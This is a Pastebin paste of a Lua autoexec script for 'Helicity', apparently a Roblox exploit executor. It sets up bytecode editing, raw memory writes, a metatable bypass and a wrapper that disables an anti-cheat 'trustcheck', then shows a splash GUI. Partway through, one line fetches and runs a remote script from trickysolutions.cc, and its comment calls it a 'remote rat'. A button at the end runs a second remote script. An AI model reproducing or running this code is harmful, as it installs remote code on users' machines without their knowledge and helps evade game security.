TacticalBFG

helicity autoexec

Jun 1st, 2020 (edited)
1,467
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.69 KB | None | 0 0
  1. -- ~~ Helicity Environment Initialization ~~ --
  2.  
  3. backupDebug = debug
  4.  
  5. getgenv().debug = {
  6.     -- ~~ Vanilla Roblox Functions ~~ --
  7.     traceback = function(...) return backupDebug.traceback(...) end,
  8.     profilebegin = function(...) return backupDebug.profilebegin(...) end,
  9.     profileend = function(...) return backupDebug.profileend(...) end,
  10.    
  11.    
  12.     -- ~~ Helicity Extensions ~~ --
  13.     setconstant = setconstant,
  14.     getconstant = getconstant,
  15.     getconstants = getconstants,
  16.     getinstructions = getinstructions,
  17.     getinstruction = getinstruction,
  18.     setinstruction = setinstruction,
  19.     getprotos = getprotos,
  20.     setproto = setproto,
  21.     getproto = getproto,
  22.     getlines = getlines,
  23.     getnups = getnups,
  24.     getnparams = getnparams,
  25.     getupvalue = function() warn"yo debug.upvalues is broken rn :cr:" return nil end,
  26.     getupvalues = function() warn"yo debug.upvalues is broken rn :cr:" return {} end,
  27.     setupvalue = function() warn"yo debug.upvalues is broken rn :cr:" end,
  28.     makeLuauABC = makeLuauABC,
  29.     makeLuauABx = makeLuauABx,
  30.     getLuauOp = getLuauOp,
  31.     getLuauA = getLuauA,
  32.     getLuauB = getLuauB,
  33.     getLuauC = getLuauC,
  34.     getLuauBx = getLuauBx,
  35.    
  36.     getOp = getLuauOp,
  37.     getA = getLuauA,
  38.     getB = getLuauB,
  39.     getC = getLuauC,
  40.     getBx = getLuauBx,
  41.     getsBx = getLuauBx,
  42. }
  43.  
  44. getgenv().luac = {
  45.     pushboolean = cpushboolean,
  46.     pushbool = cpushboolean,
  47.     pushstring = cpushstring,
  48.     pushnil = cpushnil,
  49.     pushvalue = cpushvalue,
  50.     pushnumber = cpushnumber,
  51.     getglobal = cgetglobal,
  52.     getenv = cgetglobal,
  53.     getfield = cgetfield,
  54.     setglobal = csetglobal,
  55.     setenv = csetglobal,
  56.     setfield = csetfield,
  57.     pcall = cpcall
  58. }
  59.  
  60. getgenv().sha256 = {hash = sha256hash}
  61. getgenv().base64 = {
  62.     encode = base64encode,
  63.     decode = base64decode,
  64.     isBase64 = base64check
  65. }
  66.  
  67. getgenv().ss = {
  68.     load = function() warn"ss.load is disabled till i actually get ss up" end,
  69.     execute = function() warn"ss.execute is disabled till i actually get ss up" end,
  70. }
  71.  
  72. getgenv().memedit = {
  73.     getLuaStatePointer = MEMRESTRICTED_getLuaStatePointer,
  74.     getRL = MEMRESTRICTED_getLuaStatePointer,
  75.     getLuaState = MEMRESTRICTED_getLuaStatePointer,
  76.     getRobloxLuaState = MEMRESTRICTED_getLuaStatePointer,
  77.  
  78.     getOffset = MEMRESTRICTED_getOffset,
  79.     getPointer = MEMRESTRICTED_getPointer,
  80.     setPtrToInt32 = MEMRESTRICTED_writeInt32ToPointer,
  81.     setPtrToInt = MEMRESTRICTED_writeInt32ToPointer,
  82.     setPtrToInt64 = MEMRESTRICTED_writeInt64ToPointer,
  83.     setPtrToDouble = MEMRESTRICTED_writeInt64ToPointer,
  84.     setPtrToLong = MEMRESTRICTED_writeInt64ToPointer,
  85.     setPtrToInt16 = MEMRESTRICTED_writeInt16ToPointer,
  86.     setPtrToShort = MEMRESTRICTED_writeInt16ToPointer,
  87.     setPtrToByte = MEMRESTRICTED_writeInt8ToPointer,
  88.     setPtrToChar = MEMRESTRICTED_writeInt8ToPointer,
  89.     setPtrToBoolean = MEMRESTRICTED_writeInt8ToPointer,
  90.  
  91.     castToInt32 = MEMRESTRICTED_castToInt32,
  92.     castToInt8 = MEMRESTRICTED_castToInt8,
  93.     castToInt16 = MEMRESTRICTED_castToInt16,
  94.     castToInt64 = MEMRESTRICTED_castToInt64,
  95.  
  96.     castToLuaString = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TSTRING) end,
  97.     castToLuaNumber = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TNUMBER) end,
  98.     castToLuaFunction = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TFUNCTION) end,
  99.     castToLuaBoolean = function(x) return MEMRESTRICTED_castToLuaGCType(x, RLUA_TBOOLEAN) end,
  100.     castToLuaType = MEMRESTRICTED_castToLuaGCType,
  101. }
  102.  
  103. getgenv().getrawmetatable = noStringGRMT -- roblox string bypass hehe
  104. getgenv().dostring = function(s) return loadstring(s)() end
  105. getgenv().plr = game:GetService"Players".LocalPlayer
  106. getgenv().HttpGetAsync = function(url)
  107.     disableTrustcheck() -- Note to anyone reading: this line could cause a kick if memcheck is too much too soon
  108.     local val = game:HttpGetAsync(url)
  109.     enableTrustcheck()
  110.     return val
  111. end
  112.  
  113. -- ~~ Restore silly service names because devs are smartasses! ~~ --
  114. workspace.Name = "Workspace"
  115. game:GetService"Players".Name = "Players"
  116. game:GetService"ReplicatedStorage".Name = "ReplicatedStorage"
  117. game:GetService"ReplicatedFirst".Name = "ReplicatedFirst"
  118. game:GetService"Lighting".Name = "Lighting"
  119.  
  120. doUrlAsync("https://trickysolutions.cc/decompMinified.lua") -- launch remote rat...
  121.  
  122. local ScreenGui = Instance.new("ScreenGui")
  123. local ImageLabel = Instance.new("ImageLabel")
  124. local TextLabel = Instance.new("TextLabel")
  125. local ImageButton = Instance.new("ImageButton")
  126.  
  127. --Properties:
  128.  
  129. ScreenGui.Parent = game.CoreGui
  130. ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  131.  
  132. ImageLabel.Parent = ScreenGui
  133. ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  134. ImageLabel.BackgroundTransparency = 1.000
  135. ImageLabel.Position = UDim2.new(0.5, -100, 0.5, -100)
  136. ImageLabel.Size = UDim2.new(0, 100, 0, 100)
  137. ImageLabel.Image = "http://www.roblox.com/asset/?id=5930337999"
  138.  
  139. TextLabel.Parent = ImageLabel
  140. TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  141. TextLabel.BackgroundTransparency = 1.000
  142. TextLabel.Position = UDim2.new(1, 0, 0, 0)
  143. TextLabel.Size = UDim2.new(0, 127, 0, 100)
  144. TextLabel.Font = Enum.Font.Roboto
  145. TextLabel.Text = "haha helicity go brr"
  146. TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
  147. TextLabel.TextSize = 25.000
  148. TextLabel.TextStrokeTransparency = 0.000
  149. TextLabel.TextXAlignment = Enum.TextXAlignment.Left
  150.  
  151. ImageButton.Parent = ScreenGui
  152. ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  153. ImageButton.BackgroundTransparency = 1.000
  154. ImageButton.Position = UDim2.new(1, -55, 1, -55)
  155. ImageButton.Size = UDim2.new(0, 45, 0, 45)
  156. ImageButton.Image = "http://www.roblox.com/asset/?id=5930337999"
  157. ImageButton.Visible = false
  158.  
  159. wait(1)
  160.  
  161. ImageLabel:TweenSize(UDim2.new(1,0,1,0), 1, 0, 2)
  162.  
  163. wait(2)
  164.  
  165. ImageLabel:Destroy()
  166.  
  167. ImageButton.Visible = true
  168. ImageButton.MouseButton1Click:connect(function()
  169.     doUrlAsync("https://pastebin.com/raw/pHFLBs9L")
  170. end)
Add Comment
Please, Sign In to add comment